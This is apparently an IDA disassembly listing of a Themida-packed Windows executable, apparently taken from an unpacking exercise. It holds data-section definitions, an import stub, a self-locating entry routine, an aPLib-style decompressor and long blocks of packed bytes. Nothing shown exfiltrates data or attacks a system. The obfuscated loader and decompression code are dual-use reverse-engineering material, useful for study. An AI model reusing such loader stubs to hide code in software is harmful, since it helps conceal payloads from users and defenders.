; sub_417A5F+3Ar dd 42h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437868o dd 3Ch dup(0) dword_4D4244 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dd 1944h dup(0) dword_4DA758 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DA75C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DA960 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DA9BC dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DABBC dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DABC0 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DAC1C dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DAE1C db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DAE20 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DB020 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB224 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB228 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB22C dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB230 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB234 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB268 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB270 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB2A8 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB2AC dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB2B0 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB2C4 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB2C8 dd 2440B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB2D0 dd 2440B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB2D4 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB2D8 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB2E0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB2E8 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB2EC dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB2F0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB2F4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB2FC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB300 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB308 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB30A dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB30E dw 0 ; DATA XREF: sub_41D081+3Br word_4DB310 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB312 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB318 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB320 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB324 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB328 dd 0 ; DATA XREF: sub_41F312r dword_4DB32C dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB330 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB334 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB33C dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB340 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB344 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB348 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB34C dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB350 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB354 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB358 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB35C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB364 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB374 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB37C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DB380 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB2E0o align 10h dd 3Ah dup(0) dword_4DB488 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DB48C dd 0 ; DATA XREF: sub_423590+21r dword_4DB490 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DB494 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DB498 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DB4A0 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DB4A2 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DB4A4 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DB4C0 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DB4C4 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DB4C8 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DB4CC dd 0 ; DATA XREF: sub_4245E9+52w dword_4DB4D0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DB4D8 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DB4E0 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DB4E4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DB524 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DB526 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DB528 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DB52A dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DB52C dw 0 ; DATA XREF: sub_424A4A+C0r word_4DB52E dw 0 ; DATA XREF: sub_424A4A+B8r word_4DB530 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DB532 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DB534 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DB538 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DB578 dw 0 ; DATA XREF: sub_424A4A+46r word_4DB57A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DB57C dw 0 ; DATA XREF: sub_424A4A+67r word_4DB57E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DB580 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DB582 dw 0 ; DATA XREF: sub_424A4A+55r word_4DB584 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DB586 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DB588 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DB58C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DB590 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DB594 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DB598 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DB59C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DB5A0 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DB5A4 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DB5A8 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DB5AC dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DB5B0 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DB5B8 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DB5BC dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DB5C0 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DB5C4 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DB5C8 dd 2441140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... dd 5 dup(0) dword_4DB5E0 dd 400h dup(0) ; DATA XREF: ___:off_43CA18o ; ___:0043CA20o dword_4DC5E0 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DC600 dd 2440650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DC604 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DC700 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DC704 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DC710 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DC71C dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DC720 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DC820 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DC821 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DC924 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DC928 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DC92C dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DC930 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DC934 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DC938 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DC93C dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DC940 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DC944 dd 2440000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DC948 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DC94C dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DC950 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DC954 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DC958 dd 2440758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DC95C dd 2440758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 1A8h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7╗Гw╣\Гw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000E7000 ( 946176.) ; Section size in file : 000E7000 ( 946176.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 0EBEB6E11h, 4259Bh, 5409Dh, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00540A69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00543D8E SIZE 00000062 BYTES ; FUNCTION CHUNK AT 00544004 SIZE 000000DD BYTES ; FUNCTION CHUNK AT 00544117 SIZE 0000004A BYTES ; FUNCTION CHUNK AT 005441B8 SIZE 00000015 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:00437A6Co and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_540A69 mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_540A69 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 1573320h, 0E17122FFh, 30BCAF1Bh, 312D341Ch, 0C60E7523h dd 0A2FA1003h, 7B843B22h, 0B892C8EFh, 9822AF42h, 0C0BB0AE1h dd 74736552h, 38727361h, 2EBD7041h, 8D70783Eh, 80167DFh dd 10247F55h, 116E5475h, 0BCBE1003h, 38CF8A35h, 1B184D5Dh dd 29A9EF01h, 33BCABDCh, 46B801A5h, 5400EFAEh, 696D6568h dd 1BE16164h, 6F2AE9FAh, 0DC21BCB0h, 795F2303h, 0FD081736h dd 70249157h, 8BE3D58Fh, 60D490C5h, 5D10E1E8h, 2F00ED81h dd 8905EA33h, 0C41D7195h, 208DB50Dh, 800BCD85h, 20ECBD83h dd 0C748083h, 27E8728Bh, 5DA7B8E2h, 4470BCC2h, 3EC42098h dd 6A012ABDh, 81A3E845h, 749A6829h, 0DFE90783h, 4B250A40h dd 440A7A89h, 1429E9D5h, 405FEC02h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub dword ptr [ebx], 0FFFFFFC4h fsubr st, st(6) add [edx-7Fh], ebx jmp far ptr 0C7DAh:8B00341Dh ; --------------------------------------------------------------------------- dw 4524h dd 0E6C08D8h, 8896340h, 80F37D81h, 0F741D19h, 83FC0820h dd 61109287h, 0EB4312FFh, 0DC368DE1h, 0C9D02661h, 460450C2h dd 7CC41A81h, 493902FFh, 458D1066h, 5D8B0580h, 1185C708h dd 8D285019h, 0C3D1020Ah, 89411888h, 0BD810BA2h, 0A5D0688h dd 5027E375h, 64A3BA8Dh, 8A8075B0h, 0F4BB0E12h, 0ABB85B40h dd 3F785437h, 0F30D0D3h, 0F7754B08h, 0C314AFECh, 914A4647h dd 42F98A46h, 8A61D18Ah, 0F01DD0E8h, 45EE627Fh, 0EB4D82FCh dd 23AD8F04h, 143E8046h, 84BAF740h, 7D9834DBh, 7F64EB0Ch dd 6D33F83Eh, 32F01221h, 10A0F40Eh, 0F065C14Ah, 0F8D60450h dd 3E0D10Eh, 332858C2h, 1C8A07DBh, 33FB8030h, 0A0F0A72h dd 4F057739h, 2299BCEBh, 0DFD6114h, 0DB660A9Fh, 0D3D71E08h dd 10AB0AC3h, 72411A0Ch, 37460A0Bh, 0A8240677h, 0F05D0186h dd 83F41CECh, 7202C67Dh, 0C0CD0CB0h, 0AAD9A576h, 73F82690h dd 80DA8D81h, 0FC553BA8h, 78822A0Fh, 6FB070BDh, 0BA9438AAh dd 0B9380838h, 10FC702Ah, 35ACBDh, 49470FFEh, 71B9FA75h dd 386A7722h, 1BFD01BBh, 0CEB82F1h, 868E60C7h, 6F23779h dd 37655138h, 0E5FE1D36h, 70A268Ah, 590005E9h, 0C01024B8h dd 0C32C3ADFh, 1D038C98h, 34CD58B4h, 0CBF096F1h, 67E034h dd 5B4E3982h, 0B8100F76h, 43D510Fh, 0CC3B8ED1h, 3A753C46h dd 11B02E09h, 0E4EC480Eh, 6906514h, 0C584013Dh, 8C968E05h dd 0E153B591h, 2950C204h, 3605718Ch, 0A00EE782h, 2BC3FFECh dd 48047781h, 0C1012522h, 7533F984h, 3FBC9020h, 670A7677h dd 330230EFh, 8C89EC41h, 0FFCC9F7Fh, 45CF4090h, 5060E9EAh dd 5200C462h, 11254D8Ch, 84B1AA82h, 845AABCDh, 0A6561308h dd 825E0AC0h, 0A08197EEh, 8A5544E1h, 13A2B9FAh, 28972305h dd 85731043h, 0BC6713C1h, 88786D4h, 70822DF7h, 110F13C4h dd 0DA3D8DFCh, 0E0DC0E61h, 532220ACh, 3A71E181h, 0E2806259h dd 16F0BC05h, 0B061B38h, 638610CAh, 186B745Dh, 1104E958h dd 0C4726021h, 257D8A14h, 84533C8h, 4821001Ch, 0FC9CC458h dd 75002F95h, 676956B0h, 19C8DB8Ch, 0EC03D286h, 0E9318C02h dd 7760B0Eh, 989FD3C8h, 0A68E50A7h, 0F77BA5CEh, 2512EA30h dd 78530Dh, 0C42DC757h, 94335DBEh, 0DE0C1600h, 5C9A34C1h dd 8C3D53EAh, 3C69B714h, 466C6A9Fh, 0C45A1C52h, 704D8A88h dd 0C4005242h, 0F5312133h, 513062E9h, 2A00950Ch, 1E6C20BCh dd 0CD8A295Eh, 10701E46h, 0FCDDA370h, 56072807h, 6650310Ah dd 3DB1A7F7h, 27E88A10h, 4B8901DEh, 885C1986h, 0B9248E4Ah dd 0B6017C44h, 8CBD2882h, 9F560DAh, 17F31B80h, 49339C6Dh dd 13772124h, 0DCA07120h, 820C5BD2h, 146AE8C8h, 0A469F4B5h dd 2588D08Ah, 8FA6573Bh, 675A601Ah, 0A27035B9h, 81033AE6h dd 0EA5FE1D9h, 0D2250015h, 3E149139h, 0CCE31B5Bh, 0ED0172F2h dd 0B220520Fh, 0ABCDAD3Ch, 7E30C220h, 50317D87h, 1096BEAh dd 5F0FC4E8h, 40F78259h, 0B80B24E0h, 9C106360h, 0A019C5A3h dd 180CBEEBh, 0D610358Ah, 8D01B1C1h, 0BB02EA84h, 2AE47450h dd 3D02D44Ah, 0FA0E5448h, 281C97DDh, 0F80F45DAh, 0F2A4EAC4h dd 52C74605h, 19C0FC08h, 0EEF1F482h, 0EA483B71h, 0F80055D9h dd 320A35CAh, 7C00B48Dh, 5A52A39Fh, 0F4DDCB44h, 769300FEh dd 8B5CB778h, 7E89BDCh, 4BEB0503h, 9B7A48A2h, 317854h dd 293B6899h, 938CDB67h, 0CA01D80Ch, 62D203Ch, 236C1104h dd 5272314Ch, 1EF4093Ah, 7C394BDEh, 4D604F7Fh, 0CA9FD621h dd 8572DFh, 90B14AF9h, 5B19B4EEh, 4B63CF71h, 0D0800759h dd 0EAB94Ah, 0D2151E3Ah, 433C72F3h, 0A99DC503h, 99F9EE29h dd 0C8F703D9h, 39D157E0h, 79186006h, 0EDB2610Eh, 7B4EB80Fh dd 0CC84205Bh, 53EBB92h, 4A4F49C8h, 0E15C0E5Ch, 0CD2DB1F8h dd 0A94F89C0h, 3348DDCh, 671ED8A8h, 0C4A08AD2h, 94F0F0C8h dd 9DF9C23Bh, 0CD402E83h, 99E12CC9h, 83C0097h, 0D4A824FBh dd 3700FA49h, 6FD29A72h, 0C91F9E3h, 904EE13Ch, 3007F28h dd 2D07FA55h, 0D20B06h, 0CBD4538Ch, 0E7E0F827h, 353E2B00h dd 94D3911Bh, 30AE82Dh, 8106FB05h, 50001AD0h, 0E91BA708h dd 78F93323h, 5B30C037h, 0F803DB50h, 6D9D8000h, 61DDDCFh dd 204B60C7h, 0A092FB3Ch, 0FA0C40DEh, 0C73929h, 46BC130Bh dd 0A64D06C3h, 93757000h, 83F2388h, 79FF6014h, 0BCAEFE2Ch dd 6A507F01h, 1E9FE877h, 2DFC9CC9h, 74FD0060h, 3F443195h dd 781808B4h, 1071A371h, 0B8200041h, 5387EE49h, 0CCEDABE4h dd 0F8385C80h, 6DF183A2h, 32AFA0Bh, 0A87C1E99h, 1D80F1Ch dd 0C30064E1h, 98B019CAh, 137FB1Dh, 3B89DA7Fh, 40928175h dd 0D8551C94h, 2E121F06h, 190F464h, 0B94347A9h, 403844B0h dd 191848D0h, 0D3693F60h, 0C09C5174h, 0FF159240h, 955C7550h dd 966073C8h, 5CC01AC1h, 7040C047h, 5101D6Ah, 7D3528C2h dd 92CCA020h, 0C001734Dh, 2357A918h, 0CC30B371h, 1CFAA1D9h dd 322C1C7Fh, 31293115h, 11984754h, 83A60D84h, 834D9628h dd 9CC002F3h, 0D3E59D7Eh, 7711E880h, 3E38FA3Ch, 71CC5413h dd 0E6008E77h, 347F819Eh, 6B5DF07h, 